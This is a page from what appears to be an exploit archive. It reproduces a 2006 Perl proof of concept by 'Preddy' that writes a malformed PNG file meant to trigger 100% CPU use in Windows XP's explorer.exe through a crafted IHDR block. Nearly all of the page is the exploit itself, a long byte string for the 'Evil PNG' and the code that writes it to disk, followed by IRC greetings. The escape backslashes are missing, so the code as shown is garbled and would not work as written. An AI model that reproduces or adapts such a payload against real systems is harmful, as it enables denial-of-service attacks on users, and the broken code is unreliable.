[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows PNG File IHDR Block Denial of Service Exploit PoC
# Published : 2006-08-16
# Author : Preddy
# Previous Title : MS Windows PNG File IHDR Block Denial of Service Exploit PoC (c)
# Next Title : VMware 5.5.1 COM Object Arbitrary Partition Table Delete Exploit


#!/usr/bin/perl

##################################################################################
#Microsoft Windows PNG IHDR block DoS poc
#More info: http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=6
#Written by Preddy
#
#don't create the poc png file on windows it won't work as it should
#when i create it on windows with activeperl or visual c
#the png header becomes: 89 50 4e 47 0d 0d
#instead of            : 89 50 4e 47 0d 0a
#
#I currently have no single idea WHY it does that...
#so use linux to compile/run the script or the program
#
#http://www.team-rootshell.com
#
#Greetz to all of my friends at:
#
#FREENODE(irc.freenode.net): ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
#MILW0RM(ABS.lcirc.net): #milw0rm
#STS(irc.smashthestack.org): #lecture,#social (special greetz to: esper and crystal <3<3<3)
#PTP(irc.eu.pulltheplug.org): #aso,#Social
#GSO(gso.eclipticx.net): #gso-chat
#TTNET(irc.ttnet.net.tr):#coders,#linux,#nukedx,#zion,#php
#SSTNET(irc.0x557.net):#darpa,#exploits,#m00,#ph4nt0m,#rx.rx,#segfault,#sscan
#xoron,sakkkure :D
#Rootshell Security Group and everyone else ^^
#
#This causes 100% cpu  tested on WinXp Sp2
#Cpu will keep running at 100% untill you close explorer.exe
#
##################################################################################

$file = 'win100.png';

$png =
"x89x50x4ex47x0dx0ax1ax0ax00x00x00x0dx49x48x44x52".
"x00x00xffxffx00x00xffxffx08x00x00x00x00xc3x07xf1".
"x5cx00x00x00x07x74x49x4dx45x07xd6x02x0ex0fx25x12".
"x82xbax97x53x00x00x00x09x70x48x59x73x00x00x0axf0".
"x00x00x0axf0x01x42xacx34x98x00x00x00x04x67x41x4d".
"x41x00x00xb1x8fx0bxfcx61x05x00x00x09x4dx49x44x41".
"x54x78xdaxcdx9dx41x6cx1bx45x14x40x27xffx00x00x00".
"xffx00xffx00x00x00x00xffxffx00xffx00xffxffxffxff".
"xffxc8xa8xbdx94x0axc9x2dx1cx20x70x71x7axffxffxff".
"xffxffxffxffxffxffxffxffxffxffx00x4dx0ex75x55x55".
"x4ax72x31x6ax39xd8x85x83x5bx09xd2x14x55xc8x2bxa1".
"x26x15x48xd8x16x12x69x00x01x2ax62x59xefx7axd7x5e".
"x7bx76xfexffx33x63x36xffx14x7bxffxeex3exffx99xff".
"xe7xcfxccxdfxcdx98xcdx02xf9xe7xc7xdfxd8x36x91xc7".
"x8cx9dxbdx0fxc1x9fxf6xf7xe5xefxbexf9x3dx6exb6x80".
"xf1xe9x97x5ex7dx22xf8x64xbbxf2xc7xd7xefx3cxa1x70".
"xc9x11xc8xd8xfex53x77x1ex78x70x1exe3x0fx47x1fx8d".
"x9bx89x23x8fxbfxbbxd5x63xfcxe1x85xb8x71xf8xb2xe3".
"xe4x96xcfxb8x5dx11x7dx48x87xf1xefxd7xe3x46x11x40".
"xcex7bx8cxd5xedxd8x17x7dxd9xffx73x87xf1xdfxb7xa3".
"x8ex1bx99xb8x09x9dxd8x78xb1xc3x78x27x32xe8x64xec".
"x7ax36x6ex46x36x75xdfx61xfcx30xf2x70xc6xe9x0bx8d".
"x9cx11x2fxe3xaexaaxcdxfex8cx76xeax8cx1bx9dxe2xb6".
"x65xc1x66x5bx07x22x8fx26xbdx30x6fx57x92x71x32xbe".
"xf0xa7x88xd1xb4x7dx29x9axf1x31x1exd8x7ax08xa5x37".
"x7bx3dx3fxaax6ex99x2cxe4x40x1dx81x1dx59xd3xeex49".
"x63x24xddx32x5bx6fxdax15xb1xcax81x2dx34xa3xd3x2d".
"xb5x37x78xb6xeex3axa5x12x63x23xc4x68x37x0bx5ax1b".
"x3cx59xeexb6x90x12x63xd9x1ex90xbax46x0fxcfxfbxad".
"xd4x10xffx72xc0x67x36x07xbfx48xddx28x6ax32xa5x59".
"x39x93xe8xfexb9x17x54x16xd9x31x6bx0fx4bx43x8bx29".
"x33x7dxddxa8x29xeexe7x80x1dxefxf1x0cxb0x92x57x47".
"xccx5dx25xf9x9fxc8x8ex46xc3xe6x49x59xb1xbdx8dx62".
"xd8x15x95xecxd8xaex72xbfx3exf1x95x5axd2x76x6ex96".
"xa6x2fx1ex67xd6xf8x5fx9bx8bx2axedx5dx3ex41x3dx43".
"xd4xd6xccx68xdax11x52x91x6dx6fx63x28xa0xa9xb5x35".
"x6bxafx46x1dx39x2cxdbxdexe7xc8x56x04xdax9ax95x22".
"x8fx98x8bx70x2exc0x91x02x1dx11x68xebxc1x21x5bxd9".
"xbfx73x9cxcbx28xb6x35x63x4bx82x63x27x56xa8xf1x3c".
"xf3x81x84x15x41x3bx9ax22x43xdax4dx5axa7xe4xc7x5b".
"x65x3bx5axabxa2xa3x89xabxa4x20x54xe2xd3xfcxaax68".
"x47x96x14x1axd2x99x46xe0x3bx65x9ex7fx05x30xefx01".
"x19x87x13x34x59xcfx89xeax36x6axf9xa3xf0xd2x81xd4".
"x91x90x75x5bx92x11x9ex73x59x17x00x85xd4x0ax2ax89".
"xc9xa5x22x0ex80xddx11xb6x63x54xf6xd3x6fx09x04x64".
"xf4x55xcaxeax76x64xedx37x5bx80x86x79x1dx0ex94x73".
"x91xbfx63x03x3ax15x33xbfxbex39x0fx69x24x3ex87x20".
"xcdxb7x22x0fx6dx02xa7xa2x18xd9xd9x4bx90x86xb9x02".
"x44xf3xf7x12x91x87x40x46x44x7fxecx48x05xeax92xc0".
"x90x63x08xcex04x7ex1dx76x2dx85xcdx59x90x46x62x51".
"x74xafx39xc1xb1x7bx0cx12x9cx1dx83x35x34x39x4bx0a".
"x43x03x70x67xb4x1dxd9xcdxe3xa0x4axe2x6ax24x64x5a".
"x10x9cxa0xa0x81xf4x99x8ex5cx3ex05xebx2cx46xadx5b".
"x1dx12x9cxb4xaex8fx91x9dx3dx0fxaax24x3exe6x87x20".
"x23x2dx38x09x1ex66xf0x8cxecxe4x17x30x24x7fx58x1c".
"x4fx09xcexb9xadx93x91xcdxc8x42xeex13x9dxb2xa1x95".
"xb1x3dx73x03xd4x31x79x90xd3xa2x33x74xf6xc7x0exe4".
"x51x30x4cx32xb3x34x9cxaax1dx14x9dx00x87x47x12xa3".
"x03x09x5bx32x35x0cxf9x94x40xddxd2xeax33xeex15x11".
"xcdx7dxf8xdcxe0x37xa2x15xc6x5fxdbxbax19x99x75x14".
"x76x9cx13xc5xf0x67x23x21x50x5ex63xa0x50x19x1dxc7".
"x01x93x20x36x1bx5exc2x98x10xe9x6ex8cx80x91xb5x5f".
"x83x47x9cx0fx42xa3xe2x1ex91xeaxadx51x30x3ax23xce".
"xcbx90x7bx27x16xfbx23x90xc8x8ex2dxd8xadxa5x18xd9".
"x35xb0x53x26x4axc8x4bxadxc3xd1x4cx8ex91x59x47x4e".
"x01xe9x4axaax88xbbx52x0dxa1x23xc7xe8xb4x37x64xca".
"x3exbfx11x85x9ex65xccxcdx90x39x2ex47x72xe2x39x6d".
"x33xc8x81x8axd1x4ax0dxf8x36xf8x1cx97x23x0bxcfx0b".
"x1bx3cxf1x91x3fxdex08xecx08xadx2fxa8xdax91x75x76".
"x31x44x0bx2dx7ex97x8cx5ex31x6ax22x16x0fx30xebx3d".
"x62x49x8ax96xacxbax5dx32x7ax52x59x41xdcx41x9dxd1".
"xa1x8cx46xe8x76xc9x68x05xccx12xabx0ex46xc6x32x91".
"x10xdexd2x62xe4x61x8cx19x35x31x0ax28xcbx42x46xd4".
"x72xbax2exc6x68xcax9cx80x11x17xe6xf5x31x3ax94x65".
"x9ex8fx77x3cx37xc2xadx1axb8xb5x55x9dx8cx8exf7xf0".
"x22x51x25x92x11x59x44xa2x97xd1x99xccx14x9ax1cx14".
"x7ex5bx23x07x74xedx8cx4ex54xcfx0fx8ex90x8dx3cx37".
"xcex23x5bx5ax71x2cxe4x22x4exacx5fx18x18x20xcdx33".
"xbcxa9x42xebx4dx78x1exe3xcbx4exb4x26x48x37xf9x64".
"x7ax7cx6fx02xa9xfexfex4dxfcxa5xb5x30x1ax93xd3x07".
"x9fxc1xd2xb9x72x6ax81xa0xacxcex68xa6xd3xd3x24x3e".
"x47xcex9fx25xa9x2bxfax4cxa6x02x6dx31x29xb8xb4x2b".
"x8ax7ex6dxe4xeax74x40xeaxbexb7x1ax63x0exdcx5cx52".
"xb7xa2x1ax63x46x8exb0x49x2dx69x91x67x34x8ax52x84".
"x41xdex4bx61x94xf4xebxe4x47x29xb9x13xd9x93x12xe7".
"x48xd9x31x23xe1xccxbexfcx4fx6dx9dx53x40xb4x9bxc4".
"xa2x59x39xc6x9cx02xa1x8dx9bx0cx86x18x25x72x8ax2c".
"xbcx09x22x94x44x89x58x17x44xf7x99xccxc7xe1xcfxd6".
"xadx8dxbdx93x24x0fx4axcdx9dxa6xddx92xdaxd6x03x5b".
"x7fx4dxefx79x86x2cxadx87x52xcax82x24xfax63x38xa9".
"x0exf6x31x4dxd2xa8x58x27xdcx90xcex38x50xa3xd3x1b".
"xd7x10x1bxb3x7dx42x88xe4x64xc6xc1x42x9axbex38x02".
"x6fxc3xf7x09x7axa6x20xe1xd7xf3x03x99x62x5fx9dxc1".
"x75xd2x6fx3dx46x50xa6x31x66x0ex0fx7cx31x41x3axbd".
"x4fx66x08xf1x87xc6xf8xdexd0xadx7ax7fx4ex92xaex94".
"xa2xa8x53xfax63x66xb8x63x05xa3x2fxcdx67xc0xcaxa3".
"x9ex10x7dx86xb7xe0xd0x7dxb0x26x49xcdx26x9bxf8xf9".
"x35x65x9cx31x78x7bxbcx67x5ex59xaexb1x7dxd3xc7xa8".
"xd3xaexc4xe4x35xacx2ax85x31xcdxe5x48x49x66x92xd3".
"x68x46x8axcfx4cx13x74x61xc1x47x1fx0axe3x3ex82x2e".
"x2cx7bxd1x29x1ax85xf1x19xadx8cx89x83x58x4dx0ax23".
"xd5x2dx00x19x1fx05xa3x66x49x8fx82x11xaexbax22xc9".
"x1exacx22x85x71x95xa0x8bx90x71x6cx14xa7x30x22xb6".
"xc3x49x8cx58x45x0ax63x95xa0xabx53x28x8cx35xcdx1d".
"x72x14x8cx6dxdcx4ex2ex56xe0xe7x0ax25x18x59x29x1e".
"x43x92x18x2dxb0x08x9bx22x70x3dxb3x0cx23x3bx0bx57".
"x72x8dx40x88xe3xccx4cx1cxadx4dxadx89x7bx43x1fx24".
"xa2x1ax4ex8ax91x5dxd3x07xb9x81x55x24xe7x14xd7xde".
"x40x54x36xa1x64x44x3exe3x42x22xaax0bx51xb2x31x3a".
"x46x66xcdx9cxd1xd2xdex70x21xaex3cx23x6bx9fxd6x61".
"x4ax4cxc5x9ex3cx23x63x37x8fxccx2axf7xcaxcdx91xda".
"xb1x23x0bxcfxcfx2ax36x38x3axf4xc8xcfx15xdax0bx07".
"x66x95x46x9dx1ax5ax53x61x3exd3x5ex78xf6xe5x4bxf2".
"xc6x44x14xb9xfaxa2xb8x37x6cxe4xcax92x9bx35xf8xf5".
"x1ex0dx35x1fx46x56x06x13x51xf9xa8x91xb1x83x49xdf".
"xc7x46xefx10x6bxabx4bxa1xafxe7x12x26x47x7ax18xd3".
"xe4x25x8cx56xedxffx66xa4xacxc0x7bxb2x8ax2fxefxd1".
"xc4x78x88x7cx46x89xa0xabx85xd1x44x4fxf1x7cx39x7f".
"x99xa0xacxadx4ex8ax22xd6x12x69x53x73x64x8cx37x58".
"xc4x1axb4x55x5dx5ax23x74xc6x91x31x5ax4bx25x2bxc9".
"x1bxcdxadx6ax89x50x68x36x3axc6x56x75xa9xc6x35x14".
"xddx82x1ax19xadxf5x5ex7cx6cx5dx28x79xa9xe5xc0xf2".
"xa2x63xc1x75x19x40x35xc6x0cx0bxacxb2xdcxedx7bxad".
"xd5x52x60xc2xbexa1xa7xb5xb9xb4x4cx6fxe2x9exc8x8f".
"xd7x0dxbbxe1xbfx3dxcex7bxebx5dxa3xe0x16x53x9bx59".
"xf7xdbx82xbfxa1x55xc9x2bxbdx82x4ax29xa7xe8x24x3b".
"x3ex65xd1xb6xebx5exd5x42xa7xbcx39x1bx30x36x8axca".
"xefx66x54x61xecx3ex9axeex15x54x18x79x77xb7xc5xf4".
"xaax71xddx8dx4ex33x97x4dx0exf1x19x66x26x5fxacxd7".
"x29x65x71xcax76x74x6dxe5x17x03x04xb5xd7x5cx04xc3".
"xccx16x2ax8dxaex06xa1xe8x43x83x1dx3bx52xcfx84x6b".
"x21x87xf6x7dx8dx64x3exc0x73x85x54x4fxa1x25xf6xa4".
"xaexb6xd6x27xfaxd2xb3x50xd8xe1x16xebxd6x28x97x97".
"x67x0cx05xbbx44x08x22x78xbexd5x98x3cx34xc5x29x26".
"x6excdx93x66xe7x0ax76xb4x22x37x25xbdx03xc6x5cx7a".
"x82x93xfbx5axb7x6ax35xdax02xc2x68xc6x6bxc3x31xb2".
"xb1x32x98x54xb4x36xefxdexaexdexa3x2fx70x28x30x0a".
"x1ex4ax9ex70x18xc7x43x73x1cxebxeexedx5bxb7xf1x4b".
"x13xbax18xd7xfaxedxd4x0axedxcaxeexe9xffx09x2ax78".
"xcax8cx01xdfx92x93x70x19xe9xb9x1ex73x27x2fx6fx57".
"xa7x37xefxdex5bx5bx97x4ax75xc2x22x1fxc3xbbxafxa6".
"xadxfbxa3x9dxd1x7bxc0xc3xabxa8xd1xf3x3ax4bxa5x71".
"xc6x9dxf8xd7xfbx47x8cxa4x1fxc6x0bx5axe8x34x30xb2".
"x6cxb3x3cx90xd1xf8x15xd9x3ax19x8fx3dx60x0fxe8x73".
"xe3x1exd2xf0x57x5ex39xb1x4exc6x4fx6dx66x7fx36xa6".
"xf1x82xddx47x22x35x32x8ex7fxebx30xfexb4x5fx2bxa3".
"x9bx4bx4axbdxd2x90x2fxc7xffxeexbcx2bx1exf1x42x19".
"x9ax64xb1x6fx3cx43xc8xaex2fxddxf7xd9xdfxd9x66xff".
"xfdx21x24x53xf7x5dxc6x7fx4fxefx88x9bx24x52x76x5f".
"xb1xbdxffxafxb0x75x72xbbx42xeexfexe4x9fx2exe3xb6".
"x85xf4x10xbbxffxefx63x6bx7ex7fx2cx8bx53x42x79x78".
"xeax8ax8bxd8x65xb4xedx9fx2fx4exedx8ax1bx2ax24xe3".
"xc7x97xefx77xd9xc6x82x57x77x6dxadxdexf8xf2x97xb8".
"xc9x7cxd9xf7xdcx8bx4fx3fxecx7fx18xebx7fxbdxd8x5f".
"x0fxe2x66xf3xe5x91xfexaexf7x1fx3ax53xb1x09xddxaf".
"x0exbax00x00x00x00x49x45x4ex44xaex42x60x82x00";

open(PNG,">$file");

print "Creating Evil PNG...n";
print PNG $png;
print "Evil PNG Created...n";
close(PNG);

print "Cya around,nPreddy";

# www.Syue.com [2006-08-16]